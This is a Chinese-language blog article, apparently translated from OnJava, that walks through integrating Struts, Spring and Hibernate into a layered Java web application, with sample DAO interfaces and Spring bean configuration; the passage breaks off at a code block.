href="http://www.cnblogs.com/otto/archive/2005/04/18/139542.html">使用struts+spring+hibernate组装你的web应用架构</A> </H2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实，就算用Java建造一个不是很烦琐的web应用，也不是件轻松的事情。 在构架的一开始就有很多事情要考虑。从高处看，摆在开发者面前有很多问题：要考虑是怎样建立用户接口？在哪里处理业务逻辑？ 怎样持久化的数据。而这三层构架中，每一层都有他们要仔细考虑的。 各个层该使用什么技术？ 怎样的设计能松散耦合还能灵活改变？怎样替换某个层而不影响整体构架？应用程序如何做各种级别的业务处理（比如事务处理）？ <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 构架一个Web应用需要弄明白好多问题。 幸运的是，已经有不少开发者已经遇到过这类问题，并且建立了处理这类问题的框架。一个好框架具备以下几点： 减轻开发者处理复杂的问题的负担（"不重复发明轮子"）； 内部有良好的扩展； 并且有一个支持它的强大的用户团体。好的构架一般有针对性的处理某一类问题，并且能将它做好（Do One Thing well）。然而，你的程序中有几个层可能需要使用特定的框架，已经完成的UI(用户接口) 并不代表你也可以把你的业务逻辑和持久逻辑偶合到你的UI部分。举个例子， 你不该在一个Controller(控制器)里面写JDBC代码作为你的业务逻辑， 这不是控制器应该提供的。 一个UI 控制器应该委派给其它给在UI范围之外的轻量级组件。 好的框架应该能指导代码如何分布。更重要的是，框架能把开发者从编码中解放出来，使他们能专心于应用程序的逻辑（这对客户来说很重要）。 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这篇文章将讨论怎样结合几种著名的框架来使得你的应用程序做到松弛耦合。 <BR>如何建立你的架构，并且怎样让你的各个应用层保持一致。？如何整合框架以便让每个层在以一种松散偶合的方式彼此作用而不用管低层的技术细节？这对我们来说真是一种挑战。 这里讨论一个整合框架的策略( 使用3 种受欢迎的开源框架) ：表示层我们用Struts；业务层我们用Spring；而持久层则用Hibernate。 你也可以用其他FrameWork替换只要能得到同样的效果。 见图1 （框架组合示意图） <BR><BR><IMG height=193 src="http://www.onjava.com/onjava/2004/04/07/graphics/wiring.gif" width=450 border=0> <BR><BR><SPAN style="FONT-WEIGHT: bold">应用程序的分层</SPAN> <BR><BR>大部分的Web应用在职责上至少能被分成4层。这四层是：presentation（描述），persistence（持久），business（业务）和domain model（域模块）。每个层在处理程序上都应该有一项明确的责任, 而不应该在功能上与其它层混合，并且每个层要与其它层分开的，但要给他们之间放一个通信接口。我们就从介绍各个层开始，讨论一下这些层应该提供什么，不应该提供什么。 <BR><BR><BR><BR><SPAN style="FONT-WEIGHT: bold">表示层(The Presentation Layer) </SPAN><BR><BR>一般来讲，一个典型的Web应用的的末端应该是表示层。 很多Java发者也理解Struts所提供的。 象业务逻辑之类的被打包到org.apache.struts.Action.， 因此，我们很赞成使用Struts这样的框架。 <BR><BR><BR><BR>下面是Struts所负责的： <BR><BR>* 管理用户的请求,做出相应的响应。 <BR><BR>* 提供一个Controller ,委派调用业务逻辑和其它上层处理。 <BR><BR>* 处理异常，抛给Struts Action <BR><BR>* 为显示提供一个模型 <BR><BR>* UI验证。 <BR><BR><BR><BR>以下条款，不该在Struts显示层的编码中经常出现。 它们与显示层无关的。 <BR><BR>* 直接的与数据库通信，例如JDBC调用。 <BR><BR>* 与你应用程序相关联的业务逻辑以及校验。 <BR><BR>* 事物管理。 <BR><BR>在表示层引入这些代码，则会带来高偶合和麻烦的维护。 <BR><BR><BR><BR><BR><BR><SPAN style="FONT-WEIGHT: bold">持久层(The Persistence Layer)</SPAN> <BR><BR>典型的Web应用的另一个末端是持久层。这里通常是程序最容易失控的地方。开发者总是低估构建他们自己的持久框架的挑战性。系统内部的持续层不但需要大量调试时间，而且还经常缺少功能使之变得难以控制，这是持久层的通病。还好有几个ORM开源框架很好的解决了这类问题。尤其是Hibernate。 Hibernate为java提供了OR持久化机制和查询服务, 它还给已经熟悉SQL和JDBC API 的Java开发者一个学习桥梁，他们学习起来很方便。 Hibernate的持久对象是基于POJO和Java collections。此外，使用Hibernate并不妨碍你正在使用的IDE。 <BR><BR><BR><BR>请看下面的条目，你在持久层编码中需要了解的。 <BR><BR>* 查询对象的相关信息的语句。 Hibernate通过一个OO查询语言（HQL）或者正则表达的API来完成查询。 HQL非常类似于SQL-- 只是把SQL里的table和columns用Object和它的fields代替。 你需要学习一些新的HQL语言；不管怎样，他们容易理解而文档也做的很好。 HQL是一种对象查询的自然语言，花很小的代价就能学习它。 <BR><BR>* 如何存储，更新，删除数据库记录。 <BR><BR>* 象Hibernate这类的高级ORM框架支持大部分主流数据库，并且他们支持 Parent/child关系，事物处理，继承和多态。 <BR><BR><BR><BR><SPAN style="FONT-WEIGHT: bold">业务层（The Business Layer）</SPAN> <BR><BR>一个典型Web应用的中间部分是业务层或者服务层。 从编码的视角来看，这层是最容易被忽视的一层。而我们却往往在UI层或持久层周围看到这些业务处理的代码，这其实是不正确的，因为它导致了程序代码的紧密偶合，这样一来，随着时间推移这些代码很难维护。幸好，针对这一问题有好几种Frameworks存在。 最受欢迎的两个框架是Spring和PicoContainer。这些为也被称为microcontainers，他们能让你很好的把对象搭配起来。 这两个框架都着手于‘依赖注射'(dependency injection)(还有我们知道的‘控制反转'Inversion of Control=IoC)这样的简单概念。这篇文章将关注于Spring的注射（译注：通过一个给定参数的Setter方法来构造Bean,有所不同于Factory）, Spring还提供了Setter Injection(type2)，Constructor Injection(type3)等方式供我们选择。 Spring把程序中所涉及到包含业务逻辑和Dao的Objects——例如transaction management handler（事物管理控制）、Object Factoris(对象工厂)、service objects（服务组件）——都通过XML来配置联系起来。 <BR><BR><BR><BR>后面我们会举个例子来揭示一下Spring 是怎样运用这些概念。 <BR><BR>业务层所负责的如下： <BR><BR>* 处理应用程序的 业务逻辑和业务校验 <BR><BR>* 管理事物 <BR><BR>* 允许与其它层相互作用的接口 <BR><BR>* 管理业务层级别的对象的依赖。 <BR><BR>* 在显示层和持久层之间增加了一个灵活的机制，使得他们不直接的联系在一起。 <BR><BR>* 通过揭示 从显示层到业务层之间的Context来得到business services。 <BR><BR>* 管理程序的执行（从业务层到持久层）。 <BR><BR><BR><BR><BR><BR><SPAN style="FONT-WEIGHT: bold">域模块层（The Domain Model Layer ）</SPAN> <BR>既然我们致力于的是一个不是很复杂的Web的应用， 我们需要一个对象集合，让它在不同层之间移动的。 域模块层由实际需求中的业务对象组成比如, OrderLineItem , Product等等。 开发者在这层 不用管那些DTOs，仅关注domain object即可。例如，Hibernate允许你将数据库中的信息存放入对象（domain objects），这样你可以在连接断开的情况下把这些数据显示到UI层。而那些对象也可以返回给持续层，从而在数据库里更新。而且，你不必把对象转化成DTOs（这可能似的它在不同层之间的在传输过程中丢失），这个模型使得Java开发者能很自然运用OO，而不需要附加的编码。 <BR><BR>一个简单例子 <BR><BR><BR><BR>既然我们已经从全局上理解这些组件。 现在就让我们开始实践吧。 我们还是用 Struts，Spring 和Hibernate。这三个框架已经被描述够多了，这里就不重复介绍了。 这篇文章举例指导你如何使用这三个框架整合开发, 并向你揭示一个请求是如何贯穿于各个层的。（从用户的加入一个Order到数据库，显示；进而更新、删除）。 <BR><BR><BR><BR>从这里可以下载到程序程序原代码（<A href="http://www.onjava.com/onjava/2004/04/07/examples/wiring.zip" target=_blank rel=nofollow><FONT color=#0000ff>download</FONT></A>） <BR><BR>既然每个层是互相作用的，我们就先来创建domain objects。首先，我们要在这些Object中要确定那些是需要持久化的，哪些是提供给business logic，那些是显示接口的设计。下一步，我们将配置我们的持久层并且定义好Hibernate的OR mappings。然后定义好Business Objects。有了这些组成部分之后，我们将 使用Spring把这些连接起来。最后，我们提供给Spring一个持久层，从这个持久层里我们可以知道它是如何与业务逻辑层（business service layer）通信的，以及它是怎样处理其他层抛出的异常的。。 <BR><BR><BR><BR><SPAN style="FONT-WEIGHT: bold">域对象层（Domain Object Layer）</SPAN> <BR><BR><BR>这层是编码的着手点，我们的编码就从这层开始。 例子中Order 与OrderItem 是一个One—To—Many的关系。 下面就是Domain Object Layer的两个对象： <BR><BR><BR><BR>· com.meagle.bo.Order.java: 包含了一个Order的概要信息 <BR><BR>· com.meagle.bo.OrderLineItem.java: 包含了Order的详细信息 <BR><BR>好好考虑怎你的package命名,这反应出了你是怎样分层的。 例如 domain objects在程序中可能打包在com.meagle.bo内。 更详细一点将打包在com. meagle.bo的子目录下面。business logic应该从com.meagle.serice开始打包，而DAO 对象应该位于com.meagle.service.dao.hibernate。反应Forms和Actions的持久对象（presentation classes） 应该分别放在 com.meagle.action和com.meagle.forms包。准确的给包命名使得你的classes很好分割并且易于维护，并且在你添加新的classes时，能使得程序结构上保持上下一致。 <BR><BR><SPAN style="FONT-WEIGHT: bold">持久层的配置（Persistence Layer Configuration）</SPAN> <BR><BR>建立Hibernate的持久层 需要好几个步骤。 第一步让我们把BO持久化。 既然Hibernate是通过POJO工作的，因此Order和 OrderLineItem对象需要给所有的fileds 加上getter,setter方法。 Hibernate通过XML文件来映射(OR)对象，以下两个xml文件分别映射了Order 和OrderItem对象。（这里有个叫XDoclet工具可以自动生成你的XML影射文件） <BR><BR>- Order.hbm.xml <BR>- OrderLineItem.hbm.xml <BR><BR>你可以在WebContent/WEB-INF/classes/com/meagle/bo目录下找到这些xml文件。Hibernate的 [urlhttp://www.hibernate.org/hib_docs/api/net/sf/hibernate/SessionFactory.html]SessionFactory [/url]是用来告诉程序 应该与哪个数据库通信，该使用哪个连接池或使用了DataSource， 应该加载哪些持久对象。而<A href="http://www.hibernate.org/hib_docs/api/net/sf/hibernate/Session.html" target=_blank rel=nofollow><FONT color=#0000ff>Session</FONT></A>接口是用来完成Selecting，Saving，Delete和Updating这些操作。 后面的我们将讲述SessionFactory和Session是怎样设置的。 <BR><BR><SPAN style="FONT-WEIGHT: bold">业务层的配置（Business Layer Configuration）</SPAN> <BR><BR>既然我们已经有了domain objects，接下来我们就要business service objects了，用他们来执行程序的logic,调用持久层，得到UI层的requests,处理transactions，并且控制 exceptions。 为了将这些连接起来并且易于管理，我们将使用面向方面的 SpringFramework。 Spring 提供了控制倒置（inversion of control 0==IoC)和注射依赖设置（setter dependency injection）这些方式（可供选择），用XML文件将对象连接起来。 IoC是一个简单概念（它允许一个对象在上层接受其他对象的创建），用IoC这种方式让你的对象从创建中释放了出来，降低了偶合度。 <BR><BR><BR><BR><BR>这里是一个没有使用IoC的对象创建的例子，它有很高偶合度。 <BR><BR><BR><IMG height=212 src="http://www.onjava.com/onjava/2004/04/07/graphics/nonioc.gif" width=250 border=0> <BR><BR><SPAN style="FONT-STYLE: italic">图 2.没有使用 IoC. A 创建了 B 和 C</SPAN> <BR><BR>而这里是一个使用IoC的例子，这种方式允许对象在高层可以创建并进入另外一个对象，所以这样可以直接被执行。 <BR><IMG height=210 src="http://www.onjava.com/onjava/2004/04/07/graphics/ioc.gif" width=250 border=0> <BR><BR><SPAN style="FONT-STYLE: italic">图 3. 对象使用了 IoC。 A 包含了接受B,C的 setter方法 , 这同样达到了 由A创建B,C的目的。</SPAN> <BR><BR>建立我们的业务服务对象（Building Our Business Service Objects） <BR><BR><BR>Business Object中的Setter方法接受的是接口，这样我们可以很松散的定义对象实现，然后注入。在我们的案例中，我们将用一个business service object接收一个DAO,用它来控制domain objects的持久化。由于在这个例子中使用了Hibernate，我们可以很方便的用其他持久框架实现 同时通知Spring 有新的DAO可以使用了。 <BR><BR>在面向接口的编程中，你会明白 "注射依赖"模式是怎样松散耦合你的业务逻辑和持久机制的：）。 <BR><BR><BR><BR>下面是一个接口business service object，DAO代码片段： <BR><BR><BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD><BR>public interface IOrderService { <BR><BR>&nbsp; public abstract Order saveNewOrder(Order order) <BR><BR>&nbsp; &nbsp; throws OrderException, <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;OrderMinimumAmountException; <BR><BR>&nbsp; <BR><BR>&nbsp; public abstract List findOrderByUser( <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String user) <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;throws OrderException; <BR><BR>&nbsp; <BR><BR>&nbsp; public abstract Order findOrderById(int id) <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;throws OrderException; <BR><BR>&nbsp; <BR><BR>&nbsp; public abstract void setOrderDAO( <BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IOrderDAO orderDAO); <BR><BR>} <BR><BR>&nbsp; </TD></TR></TBODY></TABLE><BR>注意到这段代码里有一个 setOrderDao（），它就是一个DAO Object设置方法（注射器）。但这里并没有一个getOrderDao的方法，这不必要，因为你并不会在外部访问这个orderDao。这个DAO Objecte将被调用，和我们的persistence layer 通信。我们将用Spring把DAO Object 和 business service object搭配起来的。因为我们是面向接口编程的，所以并不需要将实现类紧密的耦合在一起。 <BR><BR><BR><BR>接下去我们开始我们的DAO的实现类进行编码。 既然Spring已经有对Hibernate的支持，那这个例子就直接继承<A href="http://www.springframework.org/docs/api/org/springframework/orm/hibernate/support/HibernateDaoSupport.html" target=_blank rel=nofollow><FONT color=#0000ff>HibernateDaoSupport</FONT></A>类了，这个类很有用，我们可以参考<A href="http://www.springframework.org/docs/api/org/springframework/orm/hibernate/HibernateTemplate.html" target=_blank rel=nofollow><FONT color=#0000ff>HibernateTemplate</FONT></A>（它主要是针对HibernateDaoSupport的一个用法，译注：具体可以查看<A href="http://www.springframework.org/docs/api/index.html" target=_blank rel=nofollow><FONT color=#0000ff>Srping 的API</FONT></A>）。 下面是这个DAO接口代码： <BR><BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD>public interface IOrderDAO { <BR>&nbsp; public abstract Order findOrderById( <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; final int id); <BR>&nbsp; <BR>&nbsp; public abstract List findOrdersPlaceByUser( <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;final String placedBy); <BR>&nbsp; public abstract Order saveOrder( <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;final Order order); <BR>} </TD></TR></TBODY></TABLE><BR><BR>我们仍然要给我们持久层组装很多关联的对象，这里包含了HibernateSessionFactory 和TransactionManager。 Spring 提供了一个 <A href="http://www.springframework.org/docs/api/org/springframework/orm/hibernate/HibernateTransactionManager.html" target=_blank rel=nofollow><FONT color=#0000ff>HibernateTransactionManager</FONT></A>，他用线程捆绑了一个Hibernate Session，用它来支持transactions(请查看<A href="http://java.sun.com/j2se/1.4.2/docs/api/java/lang/ThreadLocal.html" target=_blank rel=nofollow><FONT color=#0000ff>ThreadLocal</FONT></A>) 。 <BR><BR>下面是HibernateSessionFactory 和 HibernateTransactionManager:的配置： <BR><BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD>&lt;bean id="mySessionFactory" <BR>&nbsp; &nbsp; &nbsp; &nbsp;class="org.springframework.orm.hibernate. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LocalSessionFactoryBean"&gt; <BR>&nbsp; &lt;property name="mappingResources"&gt; <BR>&nbsp; &nbsp; &lt;list&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;value&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; com/meagle/bo/Order.hbm.xml <BR>&nbsp; &nbsp; &nbsp; &lt;/value&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;value&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; com/meagle/bo/OrderLineItem.hbm.xml <BR>&nbsp; &nbsp; &nbsp; &lt;/value&gt; <BR>&nbsp; &nbsp; &lt;/list&gt; <BR>&nbsp; &lt;/property&gt; <BR>&nbsp; &lt;property name="hibernateProperties"&gt; <BR>&nbsp; &nbsp; &lt;props&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="hibernate.dialect"&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; net.sf.hibernate.dialect.MySQLDialect <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="hibernate.show_sql"&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; false <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="hibernate.proxool.xml"&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; C:/MyWebApps/.../WEB-INF/proxool.xml <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="hibernate.proxool.pool_alias"&gt; <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; spring <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &lt;/props&gt; <BR>&nbsp; &lt;/property&gt; <BR>&lt;/bean&gt; <BR>&nbsp; <BR>&lt;!-- Transaction manager for a single Hibernate <BR>SessionFactory (alternative to JTA) --&gt; <BR>&lt;bean id="myTransactionManager" <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;class="org. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; springframework. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; orm. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hibernate. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HibernateTransactionManager"&gt; <BR>&nbsp; &lt;property name="sessionFactory"&gt; <BR>&nbsp; &nbsp; &lt;ref local="mySessionFactory"/&gt; <BR>&nbsp; &lt;/property&gt; <BR>&nbsp; &lt;/bean&gt; </TD></TR></TBODY></TABLE><BR><BR><BR>可以看出：每个对象都可以在Spring 配置信息中用&lt;bean&gt;标签引用。在这里，mySessionFactory引用了HibernateSessionFactory，而 myTransactionManager引用了HibernateTransactionManage。注意代码中myTransactionManger Bean有个sessionFactory属性。 HibernateTransactionManager有个sessionFactory setter 和 getter方法，这是用来在Spring启动的时候实现"依赖注入" （dependency injection）的。在sessionFactory 属性里 引用mySessionFactory。这两个对象在Spring容器初始化后就被组装了起来了。这样的搭配让你从 单例（singleton objects）和工厂（factories）中解放了出来，降低了代码的维护代价。 mySessionFactory.的两个属性，分别是用来注入mappingResources 和 hibernatePropertes的。通常，如果你在Spring之外使用Hibernate,这样的设置应该放在 hibernate.cfg.xml中的。不管怎样,Spring提供了一个便捷的方式-----在Spring内部配置中并入了Hibernate的配置。如果要得到更多的信息，可以查阅Spring API。 <BR><BR><BR><BR><BR><BR>既然我们已经组装配置好了Service Beans，就需要把Business Service Object和 DAO也组装起来，并把这些对象配到一个事务管理器（transaction manager）里。 <BR><BR><BR><BR>在Spring中的配置信息： <BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD><BR>&lt;!-- ORDER SERVICE --&gt; <BR>&lt;bean id="orderService" <BR>&nbsp; class="org. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;springframework. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;transaction. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;interceptor. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TransactionProxyFactoryBean"&gt; <BR>&nbsp; &lt;property name="transactionManager"&gt; <BR>&nbsp; &nbsp; &lt;ref local="myTransactionManager"/&gt; <BR>&nbsp; &lt;/property&gt; <BR>&nbsp; &lt;property name="target"&gt; <BR>&nbsp; &nbsp; &lt;ref local="orderTarget"/&gt; <BR>&nbsp; &lt;/property&gt; <BR>&nbsp; &lt;property name="transactionAttributes"&gt; <BR>&nbsp; &nbsp; &lt;props&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="find*"&gt; <BR>&nbsp; &nbsp; &nbsp;PROPAGATION_REQUIRED,readOnly,-OrderException <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &nbsp; &lt;prop key="save*"&gt; <BR>&nbsp; &nbsp; &nbsp;PROPAGATION_REQUIRED,-OrderException <BR>&nbsp; &nbsp; &nbsp; &lt;/prop&gt; <BR>&nbsp; &nbsp; &lt;/props&gt; <BR>&nbsp; &lt;/property&gt; <BR>&lt;/bean&gt; <BR>&nbsp; <BR>&lt;!-- ORDER TARGET PRIMARY BUSINESS OBJECT: <BR>Hibernate implementation --&gt; <BR>&lt;bean id="orderTarget" <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;class="com. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; meagle. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; service. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; spring. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OrderServiceSpringImpl"&gt; <BR>&nbsp; &lt;property name="orderDAO"&gt; <BR>&nbsp; &nbsp; &lt;ref local="orderDAO"/&gt; <BR>&nbsp; &lt;/property&gt; <BR>&lt;/bean&gt; <BR>&nbsp; <BR>&lt;!-- ORDER DAO OBJECT --&gt; <BR>&lt;bean id="orderDAO" <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;class="com. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; meagle. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; service. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dao. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hibernate. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OrderHibernateDAO"&gt; <BR>&nbsp; &lt;property name="sessionFactory"&gt; <BR>&nbsp; &nbsp; &lt;ref local="mySessionFactory"/&gt; <BR>&nbsp; &lt;/property&gt; <BR>&lt;/bean&gt; </TD></TR></TBODY></TABLE><BR><BR><BR><BR>图4 是我们对象搭建的一个提纲。 从中可以看出，每个对象都联系着Spring，并且能通过Spring注入到其他对象。把它与Spring的配置文件比较，观察他们之间的关系 <BR><BR><IMG height=352 src="http://www.onjava.com/onjava/2004/04/07/graphics/spring_wiring.gif" width=436 border=0> <BR><BR><SPAN style="FONT-STYLE: italic">图 4. Spring就是这样基于配置文件，将各个Bean搭建在一起。</SPAN> <BR><BR>这个例子使用一个TransactionProxyFactoryBean，它定义了一个setTransactionManager()。这对象很有用，他能很方便的处理你申明的事物还有Service Object。你可以通过transactionAttributes属性来定义怎样处理。想知道更多还是参考TransactionAttributeEditor吧。 <BR><BR>TransactionProxyFactoryBean 还有个setter. 这会被我们 Business service object（orderTarget）引用， orderTarget定义了业务服务层，并且它还有个属性，由setOrderDAO()引用。这个属性 <BR><BR><BR><BR>Spring 和Bean 的还有一点要注意的： bean可以以用两种方式创造。这些都在单例模式（Sington）和原型模式（propotype）中定义了。 默认的方式是singleton,这意味着共享的实例将被束缚。而原形模式是在Spring用到bean的时候允许新建实例的。当每个用户需要得到他们自己Bean的Copy时，你应该仅使用prototype模式。（更多的请参考设计模式中的单例模式和原形模式） <BR><BR><SPAN style="FONT-WEIGHT: bold">提供一个服务定位器（Providing a Service Locator）</SPAN> <BR>既然我们已经将我们的Serices和DAO搭配起来了。我们需要把我们的Service显示到其他层。这个通常是在Struts或者Swing这层里编码。一个简单方法就是用 服务定位器返回给Spring context 。当然，可以通过直接调用Spring中的Bean来做。 <BR><BR>下面是一个Struts Actin 中的服务定位器的一个例子。 <BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD><BR>public abstract class BaseAction extends Action { <BR>&nbsp; <BR>&nbsp; private IOrderService orderService; <BR>&nbsp; <BR>&nbsp; public void setServlet(ActionServlet <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;actionServlet) { <BR>&nbsp; &nbsp; super.setServlet(actionServlet); <BR>&nbsp; &nbsp; ServletContext servletContext = <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;actionServlet.getServletContext(); <BR>&nbsp; <BR>&nbsp; &nbsp; WebApplicationContext wac = <BR>&nbsp; &nbsp; &nbsp; WebApplicationContextUtils. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;getRequiredWebApplicationContext( <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;servletContext); <BR>&nbsp; <BR>&nbsp; &nbsp; &nbsp; this.orderService = (IOrderService) <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;wac.getBean("orderService"); <BR>&nbsp; } <BR>&nbsp; <BR>&nbsp; protected IOrderService getOrderService() { <BR>&nbsp; &nbsp; return orderService; <BR>&nbsp; } <BR>} <BR>&nbsp; </TD></TR></TBODY></TABLE><BR><SPAN style="FONT-WEIGHT: bold">UI 层配置 （UI Layer Configuration）</SPAN> <BR><BR>这个例子里UI层 使用了Struts framework. 这里我们要讲述一下在给程序分层的时候， 哪些是和Struts部分的。我们就从一个Struts-config.xml文件中的Action的配置信息开始吧。 <BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
<TD><BR>struts-config.xml file. <BR><BR>&lt;action path="/SaveNewOrder" <BR>&nbsp; &nbsp; type="com.meagle.action.SaveOrderAction" <BR>&nbsp; &nbsp; name="OrderForm" <BR>&nbsp; &nbsp; scope="request" <BR>&nbsp; &nbsp; validate="true" <BR>&nbsp; &nbsp; input="/NewOrder.jsp"&gt; <BR>&nbsp; &lt;display-name&gt;Save New Order&lt;/display-name&gt; <BR>&nbsp; &lt;exception key="error.order.save" <BR>&nbsp; &nbsp; path="/NewOrder.jsp" <BR>&nbsp; &nbsp; scope="request" <BR>&nbsp; &nbsp; type="com.meagle.exception.OrderException"/&gt; <BR>&nbsp; &lt;exception key="error.order.not.enough.money" <BR>&nbsp; &nbsp; path="/NewOrder.jsp" <BR>&nbsp; &nbsp; scope="request" <BR>&nbsp; &nbsp; type="com. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; meagle. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exception. <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OrderMinimumAmountException"/&gt; <BR>&nbsp; &lt;forward name="success" path="/ViewOrder.jsp"/&gt; <BR>&nbsp; &lt;forward name="failure" path="/NewOrder.jsp"/&gt; <BR>&lt;/action&gt; </TD></TR></TBODY></TABLE><BR>SaveNewOrder 这个Action是用来持久化UI层里的表单提交过来Order的。这是Struts中一个很典型的Action; 注意观察这个Action中exception配置，这些Exceptions也在Spring 配置文件(applicationContext-hibernate.xml)中配置了（就在 business service object 的transactionAttributes属性里）。 当异常在业务层被被抛出时，我们可以控制他们，并适当的显示给UI层。 <BR><BR>第一个异常，OrderException,在持久层保存order对象失败的时候被触发。这将导致事物回滚并且通过BO把异常回传到Struts这一层。 <BR><BR>第二个异常，OrderMinimumAmountException也同第一个一样。 <BR><BR><BR><BR><BR><BR>搭配整和的最后一步 通过是让你显示层和业务层相结合。这个已经被服务定位器（service locator）实现了（前面讨论过了）， 这里服务层作为一个接口提供给我们的业务逻辑和持久层。 <BR><BR><BR><BR>SaveNewOrder Action 在Struts中用一个服务定位器（service locator）来调用执行业务方法的。 方法代码如下： <BR><BR><BR><BR>
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0>
<TBODY>
<TR>
<TD><STRONG>代码:</STRONG> </TD></TR>
<TR>
